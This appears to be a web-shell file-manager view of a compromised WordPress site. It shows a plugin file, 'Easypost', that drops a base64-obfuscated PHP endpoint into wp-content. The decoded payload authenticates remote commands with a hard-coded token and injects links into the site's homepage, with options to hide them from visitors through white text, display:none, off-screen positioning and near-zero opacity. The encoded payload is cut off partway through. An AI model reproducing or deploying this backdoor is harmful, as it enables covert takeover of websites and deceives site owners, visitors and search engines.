HEX
Server: LiteSpeed
System: Linux l24.yourwebhosting.net 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User: turkishi (1582)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/turkishi/www/wp-content/plugins/easypost/easypost.php
<?php
/*
Plugin Name: Easypost
Description: Installs the Easypost signed direct posting endpoint.
Version: 2026.06.06
*/

function easypost_endpoint_install_endpoint() {
    $directory = WP_CONTENT_DIR . '/easypost';
    if (!is_dir($directory)) {
        wp_mkdir_p($directory);
    }
    file_put_contents($directory . '/easypost.php', base64_decode('PD9waHAKZGVmaW5lKCdFQVNZUE9TVF9FTkRQT0lOVF9DT05GSUcnLCAneyJlbmRwb2ludF92ZXJzaW9uIjoiMjAyNi4wNi4wNiIsInRva2VuX2lkIjoiZXBfYjBiMjNiYzExNDdjNGE5ODhlNmU2OTIwNzNhNjI3MDciLCJ0b2tlbl92ZXJpZmllciI6InYxOmI2MTZkMzk0N2NlNzgxNGEwYzM5NTcyNzI0Njg2NzYwOjUzY2NlZjA1ZTYyMTNjNzZhZWVkZGQxOGQ1Mjc1YTk2ZjE5ZmI1MzVjNzA4YjY0N2QyODA3ZTA0NDc0Y2FlYjQiLCJvdGFfcmVsZWFzZV9wdWJsaWNfa2V5X3BlbSI6Ii0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXFxuTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEwSlRjcHl2bmNQMUl6ejJTc25McVxcbkdtM2lPYlppNVlFeWRDZVFQdjBrWDVwTjNXd0V6dC9qMWZzeWQzRVZIYkxsWFVtZFFiV3ZDQklYMXdxL1JPNHFcXG40VXVMcGtzKytubno3cE5UeVpxclUrZ1BVbFFiNHVEQkpzRTZuZVBSeWRkb01HYlQ4eUY0eXpMdC9mcDg2b1NHXFxuY2QvVHFuVUlwbE00ZG1RVnR6cWFVaUdTVUZMUmVVTzB0TUh2WUdUUmwvakNNL3BKbUlNTkxFRm1BYi94NndUNFxcbmloRUlYRDM5VWoyL0JHL3pKRmlJYzZGTnZxUnAxRFJtNTBsaFBKVzdMa0RpbitMa3ZTZWJiSXViZVlFZTN2YzlcXG43cVgwekQyenBURnYwNGl0bVBsZDBlT2E3a1hITnNyK2pVblRtdW92emRJekJKamNnU1dUL25xSStiUkFYZkw2XFxuVXdJREFRQUJcXG4tLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0ifScpOwoKZnVuY3Rpb24gZWFzeXBvc3RfZW5kcG9pbnRfY29uZmlnKCkgewogICAgcmV0dXJuIGpzb25fZGVjb2RlKEVBU1lQT1NUX0VORFBPSU5UX0NPTkZJRywgdHJ1ZSk7Cn0KCmZ1bmN0aW9uIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oJHN0YXR1cywgJHBheWxvYWQpIHsKICAgIGh0dHBfcmVzcG9uc2VfY29kZSgkc3RhdHVzKTsKICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04Jyk7CiAgICBlY2hvIGpzb25fZW5jb2RlKCRwYXlsb2FkKTsKICAgIGV4aXQ7Cn0KCmZ1bmN0aW9uIGVhc3lwb3N0X2VuZHBvaW50X2hlYWRlcigkbmFtZSkgewogICAgJGtleSA9IHN0cnRvbG93ZXIoJG5hbWUpOwogICAgZm9yZWFjaCAoJF9TRVJWRVIgYXMgJHNlcnZlcl9rZXkgPT4gJHZhbHVlKSB7CiAgICAgICAgaWYgKHN0cnBvcygkc2VydmVyX2tleSwgJ0hUVFBfJykgIT09IDApIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgICRub3JtYWxpemVkID0gc3RydG9sb3dlcihzdHJfcmVwbGFjZSgnXycsICctJywgc3Vic3RyKCRzZXJ2ZXJfa2V5LCA1KSkpOwogICAgICAgIGlmICgkbm9ybWFsaXplZCA9PT0gJGtleSkgewogICAgICAgICAgICByZXR1cm4gKHN0cmluZykgJHZhbHVlOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAnJzsKfQoKZnVuY3Rpb24gZWFzeXBvc3RfZW5kcG9pbnRfd3BfbG9hZF9wYXRoKCkgewogICAgJGNhbmRpZGF0ZXMgPSBhcnJheSgKICAgICAgICBfX0RJUl9fIC4gJy93cC1sb2FkLnBocCcsCiAgICAgICAgX19ESVJfXyAuICcvLi4vd3AtbG9hZC5waHAnLAogICAgICAgIF9fRElSX18gLiAnLy4uLy4uL3dwLWxvYWQucGhwJywKICAgICAgICBfX0RJUl9fIC4gJy8uLi8uLi8uLi93cC1sb2FkLnBocCcsCiAgICAgICAgX19ESVJfXyAuICcvLi4vLi4vLi4vLi4vd3AtbG9hZC5waHAnLAogICAgICAgIF9fRElSX18gLiAnLy4uLy4uLy4uLy4uLy4uL3dwLWxvYWQucGhwJywKICAgICk7CiAgICBmb3JlYWNoICgkY2FuZGlkYXRlcyBhcyAkY2FuZGlkYXRlKSB7CiAgICAgICAgaWYgKCRjYW5kaWRhdGUgJiYgaXNfcmVhZGFibGUoJGNhbmRpZGF0ZSkpIHsKICAgICAgICAgICAgcmV0dXJuICRjYW5kaWRhdGU7CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBlYXN5cG9zdF9lbmRwb2ludF9ib290c3RyYXBfd29yZHByZXNzKCkgewogICAgJHdwX2xvYWQgPSBlYXN5cG9zdF9lbmRwb2ludF93cF9sb2FkX3BhdGgoKTsKICAgIGlmICghJHdwX2xvYWQpIHsKICAgICAgICBlYXN5cG9zdF9lbmRwb2ludF9qc29uKDUwMCwgYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnd3BfbG9hZF9ub3RfZm91bmQnKSk7CiAgICB9CiAgICByZXF1aXJlX29uY2UgJHdwX2xvYWQ7Cn0KCmZ1bmN0aW9uIGVhc3lwb3N0X2VuZHBvaW50X3ZlcmlmaWVyX3NlY3JldCgkdmVyaWZpZXIpIHsKICAgICRwYXJ0cyA9IGV4cGxvZGUoJzonLCAoc3RyaW5nKSAkdmVyaWZpZXIsIDMpOwogICAgaWYgKGNvdW50KCRwYXJ0cykgIT09IDMgfHwgJHBhcnRzWzBdICE9PSAndjEnIHx8ICRwYXJ0c1syXSA9PT0gJycpIHsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICByZXR1cm4gJHBhcnRzWzJdOwp9CgpmdW5jdGlvbiBlYXN5cG9zdF9lbmRwb2ludF92ZXJpZnlfYXV0aCgkYm9keSkgewogICAgJGNvbmZpZyA9IGVhc3lwb3N0X2VuZHBvaW50X2NvbmZpZygpOwogICAgJHRva2VuX2lkID0gZWFzeXBvc3RfZW5kcG9pbnRfaGVhZGVyKCd4LWVhc3lwb3N0LXRva2VuLWlkJyk7CiAgICAkdGltZXN0YW1wID0gZWFzeXBvc3RfZW5kcG9pbnRfaGVhZGVyKCd4LWVhc3lwb3N0LXRpbWVzdGFtcCcpOwogICAgJHJlcXVlc3RfaWQgPSBlYXN5cG9zdF9lbmRwb2ludF9oZWFkZXIoJ3gtZWFzeXBvc3QtcmVxdWVzdC1pZCcpOwogICAgJGJvZHlfc2hhMjU2ID0gZWFzeXBvc3RfZW5kcG9pbnRfaGVhZGVyKCd4LWVhc3lwb3N0LWJvZHktc2hhMjU2Jyk7CiAgICAkc2lnbmF0dXJlID0gZWFzeXBvc3RfZW5kcG9pbnRfaGVhZGVyKCd4LWVhc3lwb3N0LXNpZ25hdHVyZScpOwoKICAgIGlmICgkdG9rZW5faWQgPT09ICcnIHx8ICR0aW1lc3RhbXAgPT09ICcnIHx8ICRyZXF1ZXN0X2lkID09PSAnJyB8fCAkYm9keV9zaGEyNTYgPT09ICcnIHx8ICRzaWduYXR1cmUgPT09ICcnKSB7CiAgICAgICAgZWFzeXBvc3RfZW5kcG9pbnRfanNvbig0MDEsIGFycmF5KCdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ21pc3NpbmdfYXV0aF9oZWFkZXJzJykpOwogICAgfQogICAgaWYgKCFoYXNoX2VxdWFscygoc3RyaW5nKSAkY29uZmlnWyd0b2tlbl9pZCddLCAkdG9rZW5faWQpKSB7CiAgICAgICAgZWFzeXBvc3RfZW5kcG9pbnRfanNvbig0MDEsIGFycmF5KCdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ3Vua25vd25fdG9rZW4nKSk7CiAgICB9CiAgICAkcmVxdWVzdF90aW1lID0gc3RydG90aW1lKCR0aW1lc3RhbXApOwogICAgaWYgKCEkcmVxdWVzdF90aW1lIHx8IGFicyh0aW1lKCkgLSAkcmVxdWVzdF90aW1lKSA+IDMwMCkgewogICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oNDAxLCBhcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICd0aW1lc3RhbXBfc3RhbGUnKSk7CiAgICB9CiAgICAkY29tcHV0ZWRfYm9keV9zaGEyNTYgPSBoYXNoKCdzaGEyNTYnLCAkYm9keSk7CiAgICBpZiAoIWhhc2hfZXF1YWxzKCRjb21wdXRlZF9ib2R5X3NoYTI1NiwgJGJvZHlfc2hhMjU2KSkgewogICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oNDAxLCBhcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdib2R5X3NoYTI1Nl9taXNtYXRjaCcpKTsKICAgIH0KCiAgICAkcmVwbGF5X2tleSA9ICdlYXN5cG9zdF9lbmRwb2ludF9yZXFfJyAuIGhhc2goJ3NoYTI1NicsICR0b2tlbl9pZCAuICc6JyAuICRyZXF1ZXN0X2lkKTsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2dldF90cmFuc2llbnQnKSAmJiBnZXRfdHJhbnNpZW50KCRyZXBsYXlfa2V5KSkgewogICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oNDA5LCBhcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdkdXBsaWNhdGVfcmVxdWVzdF9pZCcpKTsKICAgIH0KCiAgICAkc2VjcmV0ID0gZWFzeXBvc3RfZW5kcG9pbnRfdmVyaWZpZXJfc2VjcmV0KCRjb25maWdbJ3Rva2VuX3ZlcmlmaWVyJ10pOwogICAgaWYgKCEkc2VjcmV0KSB7CiAgICAgICAgZWFzeXBvc3RfZW5kcG9pbnRfanNvbig1MDAsIGFycmF5KCdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ2ludmFsaWRfdG9rZW5fdmVyaWZpZXInKSk7CiAgICB9CgogICAgJHBhdGggPSBpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgPyAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA6ICcvd3AtY29udGVudC9lYXN5cG9zdC9lYXN5cG9zdC5waHAnOwogICAgJHNpZ25hdHVyZV9pbnB1dCA9IGltcGxvZGUoIlxuIiwgYXJyYXkoCiAgICAgICAgc3RydG91cHBlcigkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSksCiAgICAgICAgJHBhdGgsCiAgICAgICAgJHRpbWVzdGFtcCwKICAgICAgICAkcmVxdWVzdF9pZCwKICAgICAgICAkdG9rZW5faWQsCiAgICAgICAgJGNvbXB1dGVkX2JvZHlfc2hhMjU2LAogICAgKSk7CiAgICAkZXhwZWN0ZWQgPSBoYXNoX2htYWMoJ3NoYTI1NicsICRzaWduYXR1cmVfaW5wdXQsICRzZWNyZXQpOwogICAgaWYgKCFoYXNoX2VxdWFscygkZXhwZWN0ZWQsICRzaWduYXR1cmUpKSB7CiAgICAgICAgZWFzeXBvc3RfZW5kcG9pbnRfanNvbig0MDEsIGFycmF5KCdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ3NpZ25hdHVyZV9taXNtYXRjaCcpKTsKICAgIH0KCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdzZXRfdHJhbnNpZW50JykpIHsKICAgICAgICBzZXRfdHJhbnNpZW50KCRyZXBsYXlfa2V5LCAnMScsIDMwMCk7CiAgICB9Cn0KCmZ1bmN0aW9uIGVhc3lwb3N0X2VuZHBvaW50X3BheWxvYWQoJGJvZHkpIHsKICAgICRwYXlsb2FkID0ganNvbl9kZWNvZGUoJGJvZHksIHRydWUpOwogICAgaWYgKCFpc19hcnJheSgkcGF5bG9hZCkpIHsKICAgICAgICBlYXN5cG9zdF9lbmRwb2ludF9qc29uKDQwMCwgYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnaW52YWxpZF9qc29uJykpOwogICAgfQogICAgcmV0dXJuICRwYXlsb2FkOwp9CgpmdW5jdGlvbiBlYXN5cG9zdF9lbmRwb2ludF9oZWFsdGgoKSB7CiAgICBlYXN5cG9zdF9lbmRwb2ludF9ib290c3RyYXBfd29yZHByZXNzKCk7CiAgICAkY29uZmlnID0gZWFzeXBvc3RfZW5kcG9pbnRfY29uZmlnKCk7CiAgICBlYXN5cG9zdF9lbmRwb2ludF9qc29uKDIwMCwgYXJyYXkoCiAgICAgICAgJ29rJyA9PiB0cnVlLAogICAgICAgICdlbmRwb2ludFZlcnNpb24nID0+ICRjb25maWdbJ2VuZHBvaW50X3ZlcnNpb24nXSwKICAgICAgICAndG9rZW5JZCcgPT4gJGNvbmZpZ1sndG9rZW5faWQnXSwKICAgICAgICAnY2FuQm9vdHN0cmFwV29yZFByZXNzJyA9PiB0cnVlLAogICAgICAgICdjYW5JbnNlcnRQb3N0cycgPT4gZnVuY3Rpb25fZXhpc3RzKCd3cF9pbnNlcnRfcG9zdCcpLAogICAgICAgICdjYW5SZXNvbHZlSG9tZXBhZ2UnID0+IGZ1bmN0aW9uX2V4aXN0cygnZ2V0X29wdGlvbicpICYmIGZ1bmN0aW9uX2V4aXN0cygnZ2V0X3Bvc3QnKSwKICAgICAgICAnY2FuUGxhY2VIb21lcGFnZUxpbmsnID0+IGZ1bmN0aW9uX2V4aXN0cygnd3BfdXBkYXRlX3Bvc3QnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2dldF9wb3N0X21ldGEnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3VwZGF0ZV9wb3N0X21ldGEnKSwKICAgICAgICAnY2FuUmVtb3ZlSG9tZXBhZ2VMaW5rJyA9PiBmdW5jdGlvbl9leGlzdHMoJ3dwX3VwZGF0ZV9wb3N0JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdnZXRfcG9zdF9tZXRhJykgJiYgZnVuY3Rpb25fZXhpc3RzKCd1cGRhdGVfcG9zdF9tZXRhJyksCiAgICAgICAgJ2NhblVzZVRyYW5zaWVudHMnID0+IGZ1bmN0aW9uX2V4aXN0cygnc2V0X3RyYW5zaWVudCcpICYmIGZ1bmN0aW9uX2V4aXN0cygnZ2V0X3RyYW5zaWVudCcpLAogICAgICAgICdjYW5DbGVhbkNhY2hlcycgPT4gZnVuY3Rpb25fZXhpc3RzKCdjbGVhbl9wb3N0X2NhY2hlJykgfHwgZnVuY3Rpb25fZXhpc3RzKCd3cF9jYWNoZV9kZWxldGUnKSwKICAgICAgICAnaGFzRWxlbWVudG9yJyA9PiBkaWRfYWN0aW9uKCdlbGVtZW50b3IvbG9hZGVkJykgfHwgY2xhc3NfZXhpc3RzKCdcRWxlbWVudG9yXFBsdWdpbicpLAogICAgICAgICdzaXRlVXJsJyA9PiBmdW5jdGlvbl9leGlzdHMoJ3NpdGVfdXJsJykgPyBzaXRlX3VybCgpIDogbnVsbCwKICAgICAgICAncGhwVmVyc2lvbicgPT4gUEhQX1ZFUlNJT04sCiAgICAgICAgJ3NlcnZlclRpbWUnID0+IGdtZGF0ZSgnYycpLAogICAgKSk7Cn0KCgpmdW5jdGlvbiBlYXN5cG9zdF9lbmRwb2ludF9mYWxsYmFja19lcnJvcigkZXJyb3IsICRtZXNzYWdlID0gbnVsbCwgJHdhcm5pbmdzID0gYXJyYXkoKSkgewogICAgJHBheWxvYWQgPSBhcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICRlcnJvciwgJ2ZhbGxiYWNrJyA9PiB0cnVlKTsKICAgIGlmICgkbWVzc2FnZSAhPT0gbnVsbCkgewogICAgICAgICRwYXlsb2FkWydtZXNzYWdlJ10gPSAkbWVzc2FnZTsKICAgIH0KICAgIGlmICghZW1wdHkoJHdhcm5pbmdzKSkgewogICAgICAgICRwYXlsb2FkWyd3YXJuaW5ncyddID0gJHdhcm5pbmdzOwogICAgfQogICAgZWFzeXBvc3RfZW5kcG9pbnRfanNvbigyMDAsICRwYXlsb2FkKTsKfQoKZnVuY3Rpb24gZWFzeXBvc3RfZW5kcG9pbnRfdmFsaWRhdGVfaG9tZXBhZ2VfcGF5bG9hZCgkcGF5bG9hZCkgewogICAgJHBsYWNlbWVudF9pZCA9IGlzc2V0KCRwYXlsb2FkWydwbGFjZW1lbnRJZCddKSA/IChpbnQpICRwYXlsb2FkWydwbGFjZW1lbnRJZCddIDogMDsKICAgICRsaW5rX3VybCA9IGlzc2V0KCRwYXlsb2FkWydsaW5rVXJsJ10pID8gZXNjX3VybF9yYXcoKHN0cmluZykgJHBheWxvYWRbJ2xpbmtVcmwnXSkgOiAnJzsKICAgICRhbmNob3JfdGV4dCA9IGlzc2V0KCRwYXlsb2FkWydhbmNob3JUZXh0J10pID8gc2FuaXRpemVfdGV4dF9maWVsZCgoc3RyaW5nKSAkcGF5bG9hZFsnYW5jaG9yVGV4dCddKSA6ICcnOwogICAgaWYgKCRwbGFjZW1lbnRfaWQgPD0gMCB8fCAkbGlua191cmwgPT09ICcnIHx8ICRhbmNob3JfdGV4dCA9PT0gJycpIHsKICAgICAgICBlYXN5cG9zdF9lbmRwb2ludF9qc29uKDQwMCwgYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnaW52YWxpZF9wYXlsb2FkJywgJ2ZhbGxiYWNrJyA9PiBmYWxzZSkpOwogICAgfQogICAgcmV0dXJuIGFycmF5KAogICAgICAgICdwbGFjZW1lbnRJZCcgPT4gJHBsYWNlbWVudF9pZCwKICAgICAgICAnbGlua1VybCcgPT4gJGxpbmtfdXJsLAogICAgICAgICdhbmNob3JUZXh0JyA9PiAkYW5jaG9yX3RleHQsCiAgICAgICAgJ3ByZUxpbmtUZXh0JyA9PiBhcnJheV9rZXlfZXhpc3RzKCdwcmVMaW5rVGV4dCcsICRwYXlsb2FkKSA/IHNhbml0aXplX3RleHRfZmllbGQoKHN0cmluZykgJHBheWxvYWRbJ3ByZUxpbmtUZXh0J10pIDogbnVsbCwKICAgICAgICAncG9zdExpbmtUZXh0JyA9PiBhcnJheV9rZXlfZXhpc3RzKCdwb3N0TGlua1RleHQnLCAkcGF5bG9hZCkgPyBzYW5pdGl6ZV90ZXh0X2ZpZWxkKChzdHJpbmcpICRwYXlsb2FkWydwb3N0TGlua1RleHQnXSkgOiBudWxsLAogICAgICAgICdwbGFjZW1lbnRUeXBlJyA9PiBpc3NldCgkcGF5bG9hZFsncGxhY2VtZW50VHlwZSddKSA/IHNhbml0aXplX2tleSgoc3RyaW5nKSAkcGF5bG9hZFsncGxhY2VtZW50VHlwZSddKSA6ICdWSVNJQkxFX0xJTksnLAogICAgKTsKfQoKZnVuY3Rpb24gZWFzeXBvc3RfZW5kcG9pbnRfaG9tZXBhZ2VfcG9zdCgpIHsKICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdnZXRfb3B0aW9uJykgfHwgIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X3Bvc3QnKSkgewogICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2ZhbGxiYWNrX2Vycm9yKCdjYXBhYmlsaXR5X2ZhaWxlZCcpOwogICAgfQogICAgJHNob3dfb25fZnJvbnQgPSBnZXRfb3B0aW9uKCdzaG93X29uX2Zyb250Jyk7CiAgICBpZiAoJHNob3dfb25fZnJvbnQgPT09ICdwb3N0cycpIHsKICAgICAgICBlYXN5cG9zdF9lbmRwb2ludF9mYWxsYmFja19lcnJvcignaG9tZXBhZ2VfcG9zdHNfaW5kZXhfdW5zdXBwb3J0ZWQnKTsKICAgIH0KICAgICRwYWdlX2lkID0gKGludCkgZ2V0X29wdGlvbigncGFnZV9vbl9mcm9udCcpOwogICAgaWYgKCRzaG93X29uX2Zyb250ICE9PSAncGFnZScgfHwgJHBhZ2VfaWQgPD0gMCkgewogICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2ZhbGxiYWNrX2Vycm9yKCdob21lcGFnZV9wYWdlX25vdF9mb3VuZCcpOwogICAgfQogICAgJHBvc3QgPSBnZXRfcG9zdCgkcGFnZV9pZCk7CiAgICBpZiAoISRwb3N0IHx8ICRwb3N0LT5wb3N0X3R5cGUgIT09ICdwYWdlJykgewogICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2ZhbGxiYWNrX2Vycm9yKCdob21lcGFnZV9wYWdlX25vdF9mb3VuZCcpOwogICAgfQogICAgcmV0dXJuICRwb3N0Owp9CgpmdW5jdGlvbiBlYXN5cG9zdF9lbmRwb2ludF9wbGFjZW1lbnRfYm9keSgkaW5wdXQpIHsKICAgICRsYWJlbCA9ICRpbnB1dFsncHJlTGlua1RleHQnXSA9PT0gbnVsbCA/ICdSZWNvbW1lbmRlZCByZXNvdXJjZTonIDogJGlucHV0WydwcmVMaW5rVGV4dCddOwogICAgJHByZWZpeCA9ICRsYWJlbCA9PT0gJycgPyAnJyA6ICRsYWJlbCAuICcgJzsKICAgICRzdWZmaXggPSAkaW5wdXRbJ3Bvc3RMaW5rVGV4dCddID09PSBudWxsID8gJycgOiAkaW5wdXRbJ3Bvc3RMaW5rVGV4dCddOwogICAgaWYgKCRzdWZmaXggIT09ICcnICYmIHN0cnBvcygkc3VmZml4LCAnICcpICE9PSAwKSB7CiAgICAgICAgJHN1ZmZpeCA9ICcgJyAuICRzdWZmaXg7CiAgICB9CiAgICByZXR1cm4gJHByZWZpeCAuICc8YSBocmVmPSInIC4gZXNjX3VybCgkaW5wdXRbJ2xpbmtVcmwnXSkgLiAnIj4nIC4gZXNjX2h0bWwoJGlucHV0WydhbmNob3JUZXh0J10pIC4gJzwvYT4nIC4gZXNjX2h0bWwoJHN1ZmZpeCk7Cn0KCmZ1bmN0aW9uIGVhc3lwb3N0X2VuZHBvaW50X3BsYWNlbWVudF9odG1sKCRpbnB1dCkgewogICAgJGJvZHkgPSBlYXN5cG9zdF9lbmRwb2ludF9wbGFjZW1lbnRfYm9keSgkaW5wdXQpOwogICAgJG1hcmtlciA9ICcgZGF0YS1wbGFjZW1lbnQ9IicgLiAoaW50KSAkaW5wdXRbJ3BsYWNlbWVudElkJ10gLiAnIic7CiAgICBzd2l0Y2ggKHN0cnRvdXBwZXIoKHN0cmluZykgJGlucHV0WydwbGFjZW1lbnRUeXBlJ10pKSB7CiAgICAgICAgY2FzZSAnV0hJVEVfTElOSyc6CiAgICAgICAgICAgIHJldHVybiAnPGRpdicgLiAkbWFya2VyIC4gJyBzdHlsZT0iY29sb3I6I2ZmZmZmZjsiPicgLiAkYm9keSAuICc8L2Rpdj4nOwogICAgICAgIGNhc2UgJ0NMQVNTX0hJREUnOgogICAgICAgICAgICByZXR1cm4gJzxzdHlsZT4uZGN7ZGlzcGxheTpub25lO308L3N0eWxlPjxkaXYnIC4gJG1hcmtlciAuICcgY2xhc3M9ImRjIj4nIC4gJGJvZHkgLiAnPC9kaXY+JzsKICAgICAgICBjYXNlICdOT19XSURUSCc6CiAgICAgICAgICAgIHJldHVybiAnPGRpdicgLiAkbWFya2VyIC4gJyBzdHlsZT0ib3ZlcmZsb3c6aGlkZGVuO2hlaWdodDoxcHg7d2lkdGg6MXB4O2Zsb2F0OnJpZ2h0OyI+JyAuICRib2R5IC4gJzwvZGl2Pic7CiAgICAgICAgY2FzZSAnSU5WSVNJQkxFX1pPTkUnOgogICAgICAgICAgICByZXR1cm4gJzxkaXYnIC4gJG1hcmtlciAuICcgc3R5bGU9ImxlZnQ6LTExNDA3cHg7dG9wOi0xMDU2MHB4O3Bvc2l0aW9uOmFic29sdXRlOyI+JyAuICRib2R5IC4gJzwvZGl2Pic7CiAgICAgICAgY2FzZSAnTk9fVklTSUJJTElUWSc6CiAgICAgICAgICAgIHJldHVybiAnPGRpdicgLiAkbWFya2VyIC4gJyBzdHlsZT0idmlzaWJpbGl0eTpoaWRkZW47Ij4nIC4gJGJvZHkgLiAnPC9kaXY+JzsKICAgICAgICBjYXNlICdOT19PUEFDSVRZJzoKICAgICAgICAgICAgcmV0dXJuICc8ZGl2JyAuICRtYXJrZXIgLiAnIHN0eWxlPSJvcGFjaXR5OjAuMDAxO2N1cnNvcjpjb250ZXh0LW1lbnU7Ij4nIC4gJGJvZHkgLiAnPC9kaXY+JzsKICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICByZXR1cm4gJzxkaXYnIC4gJG1hcmtlciAuICc+JyAuICRib2R5IC4gJzwvZGl2Pic7CiAgICB9Cn0KCmZ1bmN0aW9uIGVhc3lwb3N0X2VuZHBvaW50X21hcmtlcigkcGxhY2VtZW50X2lkKSB7CiAgICByZXR1cm4gJ2RhdGEtcGxhY2VtZW50PSInIC4gKGludCkgJHBsYWNlbWVudF9pZCAuICciJzsKfQoKZnVuY3Rpb24gZWFzeXBvc3RfZW5kcG9pbnRfY2FjaGVfd2FybmluZ3MoJHBvc3RfaWQpIHsKICAgICR3YXJuaW5ncyA9IGFycmF5KCk7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdjbGVhbl9wb3N0X2NhY2hlJykpIHsKICAgICAgICBjbGVhbl9wb3N0X2NhY2hlKCRwb3N0X2lkKTsKICAgIH0gZWxzZSB7CiAgICAgICAgJHdhcm5pbmdzW10gPSAnY2xlYW5fcG9zdF9jYWNoZV91bmF2YWlsYWJsZSc7CiAgICB9CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9jYWNoZV9kZWxldGUnKSkgewogICAgICAgIHdwX2NhY2hlX2RlbGV0ZSgkcG9zdF9pZCwgJ3Bvc3RzJyk7CiAgICB9CiAgICBpZiAoY2xhc3NfZXhpc3RzKCdcXEVsZW1lbnRvclxcUGx1Z2luJykpIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkZWxlbWVudG9yID0gXEVsZW1lbnRvclxQbHVnaW46OiRpbnN0YW5jZTsKICAgICAgICAgICAgaWYgKCRlbGVtZW50b3IgJiYgaXNzZXQoJGVsZW1lbnRvci0+ZmlsZXNfbWFuYWdlcikgJiYgbWV0aG9kX2V4aXN0cygkZWxlbWVudG9yLT5maWxlc19tYW5hZ2VyLCAnY2xlYXJfY2FjaGUnKSkgewogICAgICAgICAgICAgICAgJGVsZW1lbnRvci0+ZmlsZXNfbWFuYWdlci0+Y2xlYXJfY2FjaGUoKTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKFRocm93YWJsZSAkaWdub3JlZCkgewogICAgICAgICAgICAkd2FybmluZ3NbXSA9ICdlbGVtZW50b3JfY2FjaGVfY2xlYW51cF9mYWlsZWQnOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJHdhcm5pbmdzW10gPSAnZWxlbWVudG9yX2NhY2hlX2NsZWFudXBfdW5hdmFpbGFibGUnOwogICAgfQogICAgcmV0dXJuICR3YXJuaW5nczsKfQoKZnVuY3Rpb24gZWFzeXBvc3RfZW5kcG9pbnRfbG9ja19rZXkoJHBvc3RfaWQpIHsKICAgIHJldHVybiAnZWFzeXBvc3RfaG9tZXBhZ2VfJyAuIChpbnQpICRwb3N0X2lkOwp9CgpmdW5jdGlvbiBlYXN5cG9zdF9lbmRwb2ludF9hY3F1aXJlX2xvY2soJHBvc3RfaWQpIHsKICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdnZXRfdHJhbnNpZW50JykgfHwgIWZ1bmN0aW9uX2V4aXN0cygnc2V0X3RyYW5zaWVudCcpKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICAka2V5ID0gZWFzeXBvc3RfZW5kcG9pbnRfbG9ja19rZXkoJHBvc3RfaWQpOwogICAgaWYgKGdldF90cmFuc2llbnQoJGtleSkpIHsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICBzZXRfdHJhbnNpZW50KCRrZXksICcxJywgNjApOwogICAgcmV0dXJuIHRydWU7Cn0KCmZ1bmN0aW9uIGVhc3lwb3N0X2VuZHBvaW50X3JlbGVhc2VfbG9jaygkcG9zdF9pZCkgewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZGVsZXRlX3RyYW5zaWVudCcpKSB7CiAgICAgICAgZGVsZXRlX3RyYW5zaWVudChlYXN5cG9zdF9lbmRwb2ludF9sb2NrX2tleSgkcG9zdF9pZCkpOwogICAgfQp9CgpmdW5jdGlvbiBlYXN5cG9zdF9lbmRwb2ludF9lbGVtZW50b3Jfd2lkZ2V0KCRodG1sLCAkcGxhY2VtZW50X2lkKSB7CiAgICByZXR1cm4gYXJyYXkoCiAgICAgICAgJ2lkJyA9PiBzdWJzdHIoaGFzaCgnc2hhMjU2JywgJ3BsYWNlbWVudC0nIC4gKGludCkgJHBsYWNlbWVudF9pZCksIDAsIDcpLAogICAgICAgICdlbFR5cGUnID0+ICd3aWRnZXQnLAogICAgICAgICd3aWRnZXRUeXBlJyA9PiAnaHRtbCcsCiAgICAgICAgJ3NldHRpbmdzJyA9PiBhcnJheSgnaHRtbCcgPT4gJGh0bWwpLAo